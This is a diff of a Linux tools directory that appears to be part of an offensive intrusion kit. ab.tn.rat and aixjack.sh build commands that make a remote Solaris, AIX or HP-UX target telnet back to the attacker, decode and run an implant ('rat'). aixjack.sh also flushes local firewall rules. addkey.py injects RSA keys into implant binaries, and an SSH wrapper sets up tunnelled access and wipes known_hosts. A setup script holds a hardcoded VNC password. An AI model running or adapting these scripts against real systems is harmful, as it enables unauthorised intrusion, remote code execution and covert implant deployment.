my @newstr = ();
for ($i = 0 ; $i < length($str) ; $i++) {
push(@newstr, (53 * ord(substr($str,$i,1))) & 0xff);
}
# why 'c' here and not 'a'? Don't care, this works.
return pack("c$len",@newstr);
}#strmunge
sub getinput {
local($prompt,$default,@allowed) = @_;
local($ans,$tmp,%other) = ();
$other{"Y"} = "N" ; $other{"N"} = "Y" ;
if ($other{$default}) {
push(@allowed,$other{$default}) ;
}
chomp($default);
SUB: while (1) {
print STDERR $prompt;
if ($default) {
print STDERR " [$default] ";
} else {
print STDERR " ";
}
chomp($ans = <STDIN>);
$ans = $default if ( $ans eq "" );
last SUB if ($#allowed < 0) ;
foreach ($default,@allowed) {
last SUB if $ans =~ /^$_/i ;
}
print STDERR "\n\a${COLOR_FAILURE}Invalid response.\n$COLOR_NORMAL\n";
sleep 1;
}
return $ans;
} # getinput

124
Linux/bin/Perlfind Executable file
View file

@ -0,0 +1,124 @@
#! /usr/bin/perl -w
eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
if 0; #$running_under_some_shell
use strict;
use File::Find ();
use Getopt::Long;
# Set the variable $File::Find::dont_use_nlink if you're using AFS,
# since AFS cheats.
# for the convenience of &wanted calls, including -eval statements:
use vars qw/*name *dir *prune/;
*name = *File::Find::name;
*dir = *File::Find::dir;
*prune = *File::Find::prune;
my $findmounts = $ENV{'F'};
my @fdirs = split(/ /, $findmounts);
printf " inode mode link owner group size mtime atime ctime filename\n";
sub wanted;
sub ls ();
my @rwx = qw(--- --x -w- -wx r-- r-x rw- rwx);
my @moname = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);
my (%uid, %user);
while (my ($name, $pw, $uid) = getpwent) {
$user{$uid} = $name unless exists $user{$uid};
}
my (%gid, %group);
while (my ($name, $pw, $gid) = getgrent) {
$group{$gid} = $name unless exists $group{$gid};
}
# Traverse desired filesystems
File::Find::find({wanted => \&wanted},@fdirs);
exit;
sub wanted {
my ($dev,$ino,$mode,$nlink,$uid,$gid);
(($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &&
ls &&
!($File::Find::prune |= ($dev != $File::Find::topdev));
}
sub sizemm {
my $rdev = shift;
sprintf("%3d, %3d", ($rdev >> 8) & 0xff, $rdev & 0xff);
}
sub ls () {
my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
$atime,$mtime,$ctime,$blksize,$blocks) = lstat(_);
my $pname = $name;
$blocks
or $blocks = int(($size + 1023) / 1024);
my $perms = $rwx[$mode & 7];
$mode >>= 3;
$perms = $rwx[$mode & 7] . $perms;
$mode >>= 3;
$perms = $rwx[$mode & 7] . $perms;
substr($perms, 2, 1) =~ tr/-x/Ss/ if -u _;
substr($perms, 5, 1) =~ tr/-x/Ss/ if -g _;
substr($perms, 8, 1) =~ tr/-x/Tt/ if -k _;
if (-f _) { $perms = '-' . $perms; }
elsif (-d _) { $perms = 'd' . $perms; }
elsif (-l _) { $perms = 'l' . $perms; $pname .= ' -> ' . readlink($_); }
elsif (-c _) { $perms = 'c' . $perms; $size = sizemm($rdev); }
elsif (-b _) { $perms = 'b' . $perms; $size = sizemm($rdev); }
elsif (-p _) { $perms = 'p' . $perms; }
elsif (-S _) { $perms = 's' . $perms; }
else { $perms = '?' . $perms; }
my $user = $user{$uid} || $uid;
my $group = $group{$gid} || $gid;
#mtime
my ($msec,$mmin,$mhour,$mmday,$mmon,$mtimeyear) = localtime($mtime);
$mtimeyear += 1900;
my $mmtime = sprintf("%02d:%02d:%02d %d", $mhour, $mmin, $msec, $mtimeyear);
#atime
my ($asec,$amin,$ahour,$amday,$amon,$atimeyear) = localtime($atime);
$atimeyear += 1900;
my $aatime = sprintf("%02d:%02d:%02d %d", $ahour, $amin, $asec, $atimeyear);
#ctime
my ($csec,$cmin,$chour,$cmday,$cmon,$ctimeyear) = localtime($ctime);
$ctimeyear += 1900;
my $cctime = sprintf("%02d:%02d:%02d %d", $chour, $cmin, $csec, $ctimeyear);
printf "%7lu %-10s %4d %-8s %-8s %10s | %s %2d %5s | %s %2d %5s | %s %2d %5s | %s\n",
$ino,
$perms,
$nlink,
$user,
$group,
$size,
$moname[$mmon],
$mmday,
$mmtime,
$moname[$amon],
$amday,
$aatime,
$moname[$cmon],
$cmday,
$cctime,
$pname;
1;
}

8
Linux/bin/README.ys Normal file
View file

@ -0,0 +1,8 @@
OCT 2005
ys.auto is the newest/best wrapper to use
NEW: No longer need nc.YS, just use the regular nc (ys.auto reflects this).

134
Linux/bin/SSH Executable file
View file

@ -0,0 +1,134 @@
#!/usr/bin/env perl
$VER="1.0.0.3" ;
myinit();
if (-s "/root/.ssh/known_hosts") {
mywarn("Wiping /root/.ssh/known_hosts\n\n");
unlink "/root/.ssh/known_hosts";
$wiped = "\nJust wiped /root/.ssh/known_hosts\n\n";
sleep 2;
}
# Took this out from print below as we wipe it now in script.
# Clear known_hosts
#[ -e /root/.ssh/known_hosts ] && cat /dev/null > /root/.ssh/known_hosts
print <<EOF;
$wiped
# Here are your pastables for NOPEN redirected ssh onto $targetip:
# Tunnel stuff$netcatstart
$closetunnels
$tunnelcmd$netcatend
# scriptcheck ensures we run this only in scripted window
scriptcheck && $realssh$verbose -p $lport $user\@$redirip $binsh
yes
$password
EOF
sub myinit {
if (-s "/current/etc/autoutils") {
require "/current/etc/autoutils" or
die "/current/etc/autoutils must exist\n";
}
$targetip = $ENV{TARGETIP} unless $targetip;
$targetip = $ENV{TARGET_IP} unless $targetip;
if ("@ARGV" =~ /^-([hv])$/i) {
if (lc $1 eq "v") {
print("$0 v.$VER\n");
die "\n";
}
$usageonly = 1;
}
$redirip = "127.0.0.1";
$closetunnels = "c 1 2";
$windowsmode = 0;
while (@ARGV) {
my $arg = shift(@ARGV);
if ($arg eq "/") {
$password = shift @ARGV;
}
if ($arg =~ /-(v+)/) {
$verbose = " -$1";
}
if ($arg =~ /([^@]+)@(.+)/ and !$user) {
# First @ only. Later @ might be in password after slash
$user = $1;
$arg =~ s/$user\@//;
}
next if $arg eq "127.1";
if ($arg=~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/) {
next if $1 eq "127.0.0.1";
$targetip = $1;
}
if ($arg eq "-W") {
$windowsmode = 1;
$redirip = "192.168.254.72";
}
if ($arg eq "-p") {
$lport = shift(@ARGV);
}
$lport = 2202 unless $lport =~ /^\d+$/;
$binsh = $arg if ($arg eq "/bin/sh");
}
$redirip = $ENV{REDIRIP} if ipcheck($ENV{REDIRIP});
$timestamp = timestamp();
$realssh = "/usr/bin/ssh";
$realssh = "/bin/ssh" unless -x $realssh;
mydie("The real ssh is not in /usr/bin/ or in /bin/.")
unless -x $realssh;
if ($windowsmode) {
$netcatstart = "\n#THERE: D:\\opsdisk\\resources\\tools\\nc.exe 192.168.254.71 9998\n".
"echo -e \"\n";
$netcatend = "\n\n\" | nc -l -p 9998\n\n";
$closetunnels = "stop redirect";
$tunnelcmd = "monitor redirect -tcp -target $targetip 22 -bind $redirip -lplisten $lport";
} else {
$tunnelcmd = "l $lport $targetip 22";
}
print <<EOF;
# $timestamp
# $0 v.$VER
#
# This is $0, a script meant to
# intercept calls to ssh to re-format them into pastables for
# NOPEN redirection of ssh. Use the full path for $realssh if
# you need that and not this.
#
# Usage: $0 [-W] [-v[v[v]]] [userid\@remotehostip] [/ password]
#
# You are prompted for the userid and remotehostip if you do
# not provide them. The optional -v* will be given to $realssh,
# which can be helpful in troubleshooting failures.
#
# The optional -W option changes your redirector IP from 127.0.0.1
# to 192.168.254.72. With or without -W, though, $REDIRIP is used if
# it is set.
#
EOF
die "\n" if $usageonly;
while ($targetip !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) {
($tar,$targetip) = mygetinput
("Target IP:","ABORT");
mydie("User aborted") if $tar eq "a";
}
while (length $user <= 0) {
($tar,$user) = mygetinput
("Username:","root");
}
$lport = 2202 unless $lport > 0;
}

BIN
Linux/bin/ScaldwedDecode Executable file

Binary file not shown.

Binary file not shown.

BIN
Linux/bin/Seconddate_CnC Executable file

Binary file not shown.

BIN
Linux/bin/Store Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

104
Linux/bin/Suite-Select-Linux Executable file
View file

@ -0,0 +1,104 @@
#!/bin/bash
check=0
X=0
localsite=North
while [ "$check" != 1 ]
do
echo
echo
echo "**********************************************************"
echo "$localsite Linux Suite Selector"
echo "************************************************v1.0******"
echo
echo
echo
echo
echo
echo "(1) What is the Local Suite number between 1 - 80"
echo
echo
echo
echo
echo
echo
echo
echo
echo "Please enter the Suite number (number): "
read number
if [ "$number" -gt "0" ] ; then
if [ "$number" -lt "81" ] ; then check=1
fi
else check=0
fi
done
echo "$number" > /suite.txt
offset=10
host=$[offset+2*number+number]
WinOP=$[host+1]
Analyst=$[host+2]
W=10
Y=130
Z=$host
GW=1
rm -f /root/Desktop/LaunchVNC
####### Modify the smb.conf file to listen for the correct network #################
cp -f /etc/samba/smb.conf.orig /etc/samba/smb.conf
cp -f /etc/samba/smb.conf /etc/samba/smb.conf.orig
sed -e 's/\(hosts allow = *\).*/\110.'$X'.130.0\/24 127.0.0.1\/32/g' \
-e 's/\(interfaces = *\).*/\110.'$X'.130.0\/24 127.0.0.1\/32/g' /etc/samba/smb.conf > /etc/samba/smb.conf.new
mv -f /etc/samba/smb.conf.new /etc/samba/smb.conf
####### Modify the smb.conf file to listen for the correct network #################
echo x11vnc -rfbport 2100 -display :0 -shared -passwd gimme123 -wireframe -allinput -notruecolor -solid darkblue -viewonly -nosetclipboard -allow 10.$X.130.$Analyst -listen $W.$X.$Y.$host > /root/Desktop/LaunchVNC
chmod 755 /root/Desktop/LaunchVNC
####################################################################################
cat <<EOF | tee /tmp/suiteinfo
**********************************************************
The LinuxOP IP is: $W.$X.$Y.$Z
The WinOP ..IP is: $W.$X.$Y.$WinOP
The Analyst IP is: $W.$X.$Y.$Analyst
**********************************************************
EOF
# -------------------------------------------------------------------------------------
# Set tcp to the IP address of Suite number selected.
ifconfig eth1 $W.$X.$Y.$Z netmask 255.255.255.0
route add -net $W.0.0.0 netmask 255.0.0.0 gw $W.$X.$Y.$GW
# -------------------------------------------------------------------------------------
[ -x /root/Desktop/sshon.pl ] && \
/usr/bin/perl /root/Desktop/sshon.pl
# @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

0
Linux/bin/USE_bs.auto_FIRST Executable file
View file

BIN
Linux/bin/ab Executable file

Binary file not shown.

87
Linux/bin/ab.tn.rat Executable file
View file

@ -0,0 +1,87 @@
#!/bin/sh
#
# Use ab to upload a program via reverse telnet and run it
#
# Some default values
SCRIPT="/tmp/.as1267/.s"
DIR="/tmp/.as1267"
version="1"
# Show usage and exit
usage() {
echo ""
echo "Before running this script, you first need to run the following:"
echo " nc -l -p localPort < file2Xfer&Run.uu"
echo "where file2Xfer&Run.uu is a compressed, uuencoded file."
echo ""
echo "telnet <target> 8888"
echo "GET / HTTP/1.0[RET][RET]"
echo "Tells you the ad is there and its version (=> os_version)"
echo ""
echo "Usage: ${0} [options] -- [options to <file2Xfer&Run>]"
echo " -i <remoteIP> (required)"
echo " -v <remoteOS> <1> Sol 2.7 <2> Sol 2.6 def=1"
echo " -l <localIP> (required)"
echo " -n <localPort> (no default)"
echo " -f <file2Xfer&Run> (required)"
echo " -D <remoteDir> def= $DIR"
echo " -S <remoteScript> def= $SCRIPT"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
#
# New style options
while getopts i:v:l:n:f:D:S: op; do
case $op in
i) REMOTE_IP="$OPTARG";;
v) version="$OPTARG";;
l) LOCAL_IP="$OPTARG";;
n) LOCAL_PORT="$OPTARG";;
f) RUN_FILE="$OPTARG";;
D) DIR="$OPTARG";;
S) SCRIPT="$OPTARG";;
esac
done
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
[ -z "$LOCAL_PORT" ] && echo "Error: missing local PORT" && usage
[ -z "$RUN_FILE" ] && echo "Error: missing File to run" && usage
if [ ${version} != "1" -a ${version} != "2" ]; then
echo "Error: Wrong remote os version" && usage
fi
EXTRA="${*}"
echo "running: ab ${version} ${REMOTE_IP} ..."
echo "--> my IP is $LOCAL_IP"
echo "--> port to telnet to is $LOCAL_PORT"
echo "--> xfering and running $RUN_FILE"
echo "--> using tmp file $SCRIPT"
echo "--> using tmp dir $DIR"
echo " "
#exit 0
./ab ${version} ${REMOTE_IP} \
"/bin/echo \"/bin/mkdir ${DIR}
cd ${DIR}
/bin/telnet ${LOCAL_IP} ${LOCAL_PORT} | /usr/bin/uudecode
/usr/bin/uncompress -f ${RUN_FILE}.Z
/bin/chmod 0700 ${DIR}/${RUN_FILE}
PATH=${DIR} ${RUN_FILE} ${EXTRA}
/bin/rm ${SCRIPT}
\" > ${SCRIPT} &&
/bin/sh ${SCRIPT}"

214
Linux/bin/addkey.py Executable file
View file

@ -0,0 +1,214 @@
#!/usr/bin/env python
version = '1.0.0.0'
import os
import re
import sys
import math
import getopt
import os.path
import binascii
import subprocess
STOREBIN = 'Store'
def compute_mu(n, radix_bits=32):
b = 2**radix_bits
k = 1
while n >= b**k:
k += 1
return long(b**(2*k)/n)
def get_hex_bytes(data, i):
num = ''
while i < len(data):
if data[i].startswith(' '):
bytes = data[i].strip().split(':')
if bytes[-1] == '':
bytes.pop()
num += ''.join(bytes)
i += 1
else:
i += 1
break
if num[0:2] == '00':
num = num[2:]
return binascii.unhexlify(num)
def get_idx(data, s):
i = 0
while i < len(data):
if data[i].startswith(s):
i += 1
break
i += 1
return i
def fix_num(n):
if n[-1] == 'L' or n[-1] == 'l':
n = n[:-1]
if len(n) % 2 == 1:
n = '0%s' % (n)
return n
def get_key_params(keyfile):
try:
f = open(keyfile)
data = f.readlines()
f.close()
except:
print 'ERROR: Could not open "%s"' % (keyfile)
return None
i = get_idx(data, 'prime1')
p = get_hex_bytes(data, i)
i = get_idx(data, 'prime2')
q = get_hex_bytes(data, i)
p_num = long(binascii.hexlify(p), 16)
q_num = long(binascii.hexlify(q), 16)
i = get_idx(data, 'modulus')
m = get_hex_bytes(data, i)
i = get_idx(data, 'exponent1')
dp = get_hex_bytes(data, i)
i = get_idx(data, 'exponent2')
dq = get_hex_bytes(data, i)
i = get_idx(data, 'coefficient')
qinv = get_hex_bytes(data, i)
i = get_idx(data, 'publicExponent')
exp_num = long(data[i-1].split()[1])
i = get_idx(data, 'clientAuth')
cli = get_hex_bytes(data, i)
i = get_idx(data, 'serverAuth')
svr = get_hex_bytes(data, i)
mup_num = compute_mu(p_num)
muq_num = compute_mu(q_num)
mu_num = compute_mu(p_num*q_num)
exp = binascii.unhexlify(fix_num(hex(exp_num)[2:]))
mup = binascii.unhexlify(fix_num(hex(mup_num)[2:]))
muq = binascii.unhexlify(fix_num(hex(muq_num)[2:]))
mu = binascii.unhexlify(fix_num(hex(mu_num)[2:]))
params = {}
params['m'] = m
params['mu'] = mu
params['exp'] = exp
params['p'] = p
params['q'] = q
params['dp'] = dp
params['dq'] = dq
params['qinv'] = qinv
params['mup'] = mup
params['muq'] = muq
params['cli'] = cli
params['svr'] = svr
return params
def usage(prog):
print 'usage: %s [-p] [-s storebin] -k keyfile <binary> [binary ...]\n' % (prog)
print 'options:'
print ' -p add the private key to the binary'
print ' NOTE: should ONLY be done for the client binary'
print ' -k keyfile the key text file to inject'
print ' -s storebin use storebin as the Store executable\n'
sys.exit(1)
def main():
addpriv = False
keyfile = None
storebin = STOREBIN
if len(sys.argv) == 1:
usage(sys.argv[0])
try:
opts, args = getopt.getopt(sys.argv[1:], 'hvps:k:')
except getopt.GetoptError, err:
print str(err)
usage(sys.argv[0])
for o, a in opts:
if o == '-h':
usage(sys.argv[0])
elif o == '-v':
print '%s version %s' % (os.path.basename(sys.argv[0]), version)
sys.exit(0)
elif o == '-p':
addpriv = True
elif o == '-k':
keyfile = a
elif o == '-s':
storebin = a
if len(args) < 1:
print 'ERROR: No binary specified'
usage(sys.argv[0])
if keyfile == None or not os.path.exists(keyfile):
print 'ERROR: key file "%s" does not exist' % (keyfile)
sys.exit(1)
for f in args:
if not os.path.exists(f):
print 'ERROR: "%s" does not exist' % (f)
sys.exit(1)
key_params = get_key_params(keyfile)
if key_params == None:
exit(1)
for k in key_params.iterkeys():
p = binascii.hexlify(key_params[k])
p_arr = [ p[i:i+2] for i in xrange(0, len(p), 2) ]
p_arr.reverse()
key_params[k] = '\\\\x%s' % ('\\\\x'.join(p_arr))
for b in args:
print 'Storing: %s' % (b)
os.system('%s --file="%s" --wipe > /dev/null' % (storebin, b))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['cli'], storebin, b, 'cli'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['svr'], storebin, b, 'svr'))
if addpriv:
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['p'], storebin, b, 'p'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['q'], storebin, b, 'q'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['dp'], storebin, b, 'dp'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['dq'], storebin, b, 'dq'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['qinv'], storebin, b, 'qinv'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['mup'], storebin, b, 'mup'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['muq'], storebin, b, 'muq'))
else:
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['m'], storebin, b, 'm'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['mu'], storebin, b, 'mu'))
os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['exp'], storebin, b, 'exp'))
#os.system('%s --file="%s" --list' % (storebin, b))
if __name__ == '__main__':
main()

219
Linux/bin/aixjack.sh Executable file
View file

@ -0,0 +1,219 @@
#!/bin/bash
PROG=`basename $0`
echo -e "\n\n\n\n\nWelcome to CommandLine Jackladder\n\n$PROG Command Line Used: $PROG $*"
VER=1.2.0.7
usage ()
{
echo "Usage: ${0}
Required Options:
-l [ IP of attack machine ]
-t [ IP of target machine (actual target IP, NOT 127.0.0.1) ]
-r [ name of rat on target ]
Other Options:
-p [ port jack is listening on (if no -p, DEFAULT=32676) ]
-u [ Upload port for Nopen (if no -u, DEFAULT=80) ]
-s [ Special Source port (if no -s, DEFAULT=16798, must be from below list) ]
-c [ Nopen Callback port (if no -c, will be in listen mode) ]
-n [ Nopen listenport (if no -c and no -n, DEFAULT=32754) ]
-d [ directory to work from/create on target (if no -d, DEFAULT=/tmp/.X11R6) ]
-i [ local redirector IP (if no -i and -R, DEFAULT=127.0.0.1) ]
-R [ turn off redirection (better think before using this) ]
-C [ use /dev/console trick for holding open telnet stdin instead of sleep ]"
echo ""
echo "Special source ports are 3, 51, 8213, 12634, 16798, 23247"
echo ""
echo "callback on 10002"
echo " Example ${0} -l 555.1.9.2 -t 555.1.2.185 -r sendmail -u 81 -s 16798 -c 10002 -d /tmp/.scsi"
echo "callin on 32754"
echo " Example ${0} -l 555.1.9.2 -t 555.1.2.185 -r sendmail -u 81 -s 16798 -n 32754 -d /tmp/.scsi"
echo ""
echo "HP-UX Jackladder should use -C, AIX should not use -C"
echo ""
echo "$0 v.$VER"
echo ""
}
LOCAL_IP=0
TARGET_IP=0
TUNNEL_IP=127.0.0.1
RAT=0
REDIRECT=1
DEVCONSOLE=0
CALLBACK_PORT=0
DIR=/tmp/.X11R6
SOURCE_PORT=16798
DEST_PORT=32676
UPLOAD_PORT=80
LISTEN_PORT=0
# Must be enough cmdline args
if [ $# -lt 4 ]; then
usage
exit 1
fi
# Parse cmdline args
while getopts hl:t:p:u:s:r:d:n:c:i:RC optvar
do
case "$optvar" in
h) usage; exit 1;;
l) LOCAL_IP="${OPTARG}";;
t) TARGET_IP="${OPTARG}";;
r) RAT="${OPTARG}";;
p) DEST_PORT="${OPTARG}";;
u) UPLOAD_PORT="${OPTARG}";;
s) SOURCE_PORT="${OPTARG}";;
c) CALLBACK_PORT="${OPTARG}";;
n) LISTEN_PORT="${OPTARG}";;
d) DIR="${OPTARG}";;
i) TUNNEL_IP="${OPTARG}";;
R) REDIRECT="0";;
C) DEVCONSOLE="1";;
*) echo "invalid option"; usage; exit 1;;
esac
done
# Make sure we either have listen or callback
if [ ${CALLBACK_PORT} != 0 ]; then
if [ ${LISTEN_PORT} != 0 ]; then
echo "You can not both listen and callback"
exit
fi
else
if [ ${LISTEN_PORT} = 0 ]; then
LISTEN_PORT=32754
fi
fi
# Need IP to call back to
if [ ${LOCAL_IP} = 0 ]; then
echo "Local IP is not set"
exit
fi
# Target IP (not localhost, this is for tunnel pastable)
if [ ${TARGET_IP} = 0 ]; then
echo "Target IP is not set"
exit
fi
# Rat name
if [ ${RAT} = 0 ]; then
echo "Rat name is not set"
exit
fi
# Make pastables and commands go direct
if [ ${REDIRECT} = 0 ]; then
echo "You have decided to turn off redirection. You better be sure before"
echo "you do this. This will go directly to the target IP."
echo -n "Are you sure? (Y/N): "
read AREYOUSURE
if [ `echo ${AREYOUSURE} | grep -i "^y"` ]
then
TUNNEL_IP=${TARGET_IP}
else
echo "You are apparently not sure...bailing."
exit
fi
fi
# Print out info, pastable, and create target command set
echo ""
echo "########################################"
echo "Local IP = ${LOCAL_IP}"
echo "Target IP = ${TARGET_IP}"
echo "Tunnel IP = ${TUNNEL_IP}"
echo "Target PORT = ${DEST_PORT}"
echo "Upload Port = ${UPLOAD_PORT}"
echo "Source Port = ${SOURCE_PORT}"
echo "Name of Rat = ${RAT}"
if [ ${CALLBACK_PORT} != 0 ]; then
echo "Nopen calling back to = ${CALLBACK_PORT}"
else
echo "Nopen will listen on = ${LISTEN_PORT}"
fi
echo "Directory to create/use = ${DIR}"
if [ $DEVCONSOLE = 0 ]; then
TELNETCMD="sleep 120 | telnet ${LOCAL_IP} ${UPLOAD_PORT}"
else
TELNETCMD="telnet ${LOCAL_IP} ${UPLOAD_PORT} < /dev/console"
fi
if [ ${CALLBACK_PORT} = 0 ]; then
NOPENENV="D=-l${LISTEN_PORT}"
else
NOPENENV="D=-c${LOCAL_IP}:${CALLBACK_PORT}"
fi
JL_COMMAND="PATH=.:/bin:/usr/bin:/sbin:/usr/sbin:/usr/ucb; export PATH; TERM=vt100;export TERM;mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && ${TELNETCMD} 2>&1 | egrep -v 'Try|Conn|Esca' |uudecode && uncompress -f ${RAT}.Z && chmod 0700 ${RAT} && ${NOPENENV} ${RAT}"
echo ""
echo "The command is ${JL_COMMAND}"
echo "########################################"
echo ""
echo ""
echo " Your netcat line for uploading AIX Nopen:"
echo " cd /current/up; packrat ${RAT} /current/up/noserver-aix ${UPLOAD_PORT}"
echo ""
echo " Your netcat line for uploading HP-UX Nopen:"
echo " cd /current/up; packrat ${RAT} /current/up/noserver-hpux ${UPLOAD_PORT}"
echo ""
if [ ${CALLBACK_PORT} != 0 ]; then
echo "Setup for the nopen callback"
echo "-nrtun ${CALLBACK_PORT}"
echo
echo "OR"
echo
echo "noclient -l ${CALLBACK_PORT}"
else
echo "Connect to nopen with"
echo "-nstun ${TARGET_IP}:${LISTEN_PORT}"
echo
echo "OR"
echo
echo "noclient ${TUNNEL_IP}:${LISTEN_PORT}"
fi
if [ ${TUNNEL_IP} = "127.0.0.1" ]; then
echo ""
echo ""
echo "### Tunnel Command is:"
echo "-tunnel"
echo "l ${DEST_PORT} ${TARGET_IP} ${DEST_PORT} ${SOURCE_PORT}"
echo "r ${UPLOAD_PORT}"
fi
FWRULES=/current/bin/fwrules.py
FULES_SAVE_FILE=/current/tmp/aixjack_`date +"%s"`_saved_rules
echo
echo
echo "### If you ^C the script, restore the local firewall rules manually:"
echo "${FWRULES} -R ${FULES_SAVE_FILE}"
echo
echo
echo "Hit return when you are ready"
read blah;
echo "Saving the current firewall rules and then flushing"
echo ${FWRULES} -S ${FULES_SAVE_FILE} -F
${FWRULES} -S ${FULES_SAVE_FILE} -F
# Bombs away...
echo
echo LD_PRELOAD=/current/bin/connect.so CMD=\"${JL_COMMAND}\" RA=${LOCAL_IP} RP=${SOURCE_PORT} nc -p ${SOURCE_PORT} ${TUNNEL_IP} ${DEST_PORT}
LD_PRELOAD=/current/bin/connect.so CMD="${JL_COMMAND}" RA=${LOCAL_IP} RP=${SOURCE_PORT} nc -p ${SOURCE_PORT} ${TUNNEL_IP} ${DEST_PORT}
echo
echo "Restoring firewall rules"
echo ${FWRULES} -R ${FULES_SAVE_FILE}
${FWRULES} -R ${FULES_SAVE_FILE}

71
Linux/bin/alarm.pl Executable file
View file

@ -0,0 +1,71 @@
#!/bin/env perl
$VER="1.0.0.1";
myinit();
my $ans = popalarm($content,$delaysecs);
mydie("popalarm($content,$delaysecs);
Invalid DELAY ($ans): -d $opt_d")
unless ($ans > 0);
printf("\n\n".
scalar gmtime().
"Alarm will go off in $delaystr, showing this content:\n".
"=====================================================\n".
$content."\n".
"=====================================================\n".
"");
sub myinit {
use File::Basename ;
$prog = basename($0);
my $autoutils = "../etc/autoutils" ;
foreach $autoutils ("../etc/autoutils",
"/current/etc/autoutils",
"./autoutils",
dirname($0)."/autoutils",
) {
last if (-f $autoutils);
}
require $autoutils;
mydie("bad option(s)") if (! Getopts( "hvc:d:" ) );
usage() if ($opt_h or !$opt_c or !$opt_d);
if (-s $opt_c) {
$content = readfile($opt_c);
mydie("$opt_c does not contain any content:\n\n".
`ls -al $opt_c`)
unless (length $content);
} else {
$content = $opt_c;
}
$delaysecs = strtoseconds($opt_d);
$delaystr = secstostr($delaysecs);
mydie("Invalid DELAY -d $opt_d")
unless ($delaysecs > 0);
}
sub setusagetexts {
$usagetext="
Usage: $prog
$prog forks and backgrounds itself, waiting for its timer to expire. When
the timer expires, $prog pops up an xterm displaying the alarm content.
OPTIONS:
-h/-v Show usage/version
-d DELAY Delay before alarm will fire, in [#d][#h][#m]#[s] format
-c CONTENT Content of alarm - can be a string on the command line, or
a file containing the desired content.
Usage: $prog
";
}

389
Linux/bin/alarm.py Executable file
View file

@ -0,0 +1,389 @@
#!/usr/bin/env python
version = "1.0.0.1"
###############################################################################
#
# 17 Mar 2011
#
# A commandline script to build and run an alarm script. When alarm expires,
# an xterm is exec'd to show alarm content.
#
###############################################################################
import os
import sys
import re
import getopt
import time
#########################################################
# CONFIGURATION
#########################################################
#
TIMEOUT = '360'
# Other
dbg = False
#########################################################
# Functions for LOCAL ops box
#########################################################
def lo_execute(cmd):
if dbg:
print '# ' + cmd
outfile = os.tmpfile()
proc = subprocess.Popen(cmd, stdout=outfile, shell=True)
proc.wait()
outfile.seek(0)
output = outfile.read()
outfile.close()
return output
def lo_get_rules():
return lo_execute(ipt + '-L -n -v --line-numbers')
def lo_clear_rules():
lo_execute(ipt + '-F')
def lo_set_default_rules():
in_rules = [
ipt + '-t filter -P INPUT DROP',
ipt + '-t filter -A INPUT -i lo -j ACCEPT',
ipt + '-t filter -A INPUT -i eth1 -j ACCEPT',
ipt + '-t filter -A INPUT -i eth0 -p tcp -s 0.0.0.0/0 -d ' + ext_ip + ' --sport 80 -m state --state ESTABLISHED -j ACCEPT',
ipt + '-t filter -A INPUT -i eth0 -p tcp -s 0.0.0.0/0 -d ' + ext_ip + ' --sport 443 -m state --state ESTABLISHED -j ACCEPT',
ipt + '-t filter -A INPUT -i eth0 -p udp -s 0.0.0.0/0 -d ' + ext_ip + ' --sport 53 -m state --state ESTABLISHED -j ACCEPT',
ipt + '-t filter -A INPUT -i eth0 -p icmp -s 0.0.0.0/0 -d ' + ext_ip + ' -m state --state ESTABLISHED,RELATED -j ACCEPT'
]
out_rules = [
ipt + '-t filter -P OUTPUT DROP',
ipt + '-t filter -A OUTPUT -o lo -j ACCEPT',
ipt + '-t filter -A OUTPUT -o eth1 -j ACCEPT',
ipt + '-t filter -A OUTPUT -o eth0 -p tcp -s ' + ext_ip + ' -d 0.0.0.0/0 --dport 80 -j ACCEPT -m state --state NEW,ESTABLISHED',
ipt + '-t filter -A OUTPUT -o eth0 -p tcp -s ' + ext_ip + ' -d 0.0.0.0/0 --dport 443 -j ACCEPT -m state --state NEW,ESTABLISHED',
ipt + '-t filter -A OUTPUT -o eth0 -p udp -s ' + ext_ip + ' -d 0.0.0.0/0 --dport 53 -j ACCEPT',
ipt + '-t filter -A OUTPUT -o eth0 -p icmp -s ' + ext_ip + ' -d 0.0.0.0/0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT'
]
fwd_rules = [
ipt + '-t filter -P FORWARD DROP'
]
for r in in_rules:
lo_execute(r)
for r in out_rules:
lo_execute(r)
for r in fwd_rules:
lo_execute(r)
def lo_allow_ip(ip):
lo_execute(ipt + '-t filter -A INPUT -i eth0 -p all -s ' + ip + ' -d ' + ext_ip + ' -j ACCEPT')
lo_execute(ipt + '-t filter -A OUTPUT -p all -s ' + ext_ip + ' -d ' + ip + ' -j ACCEPT')
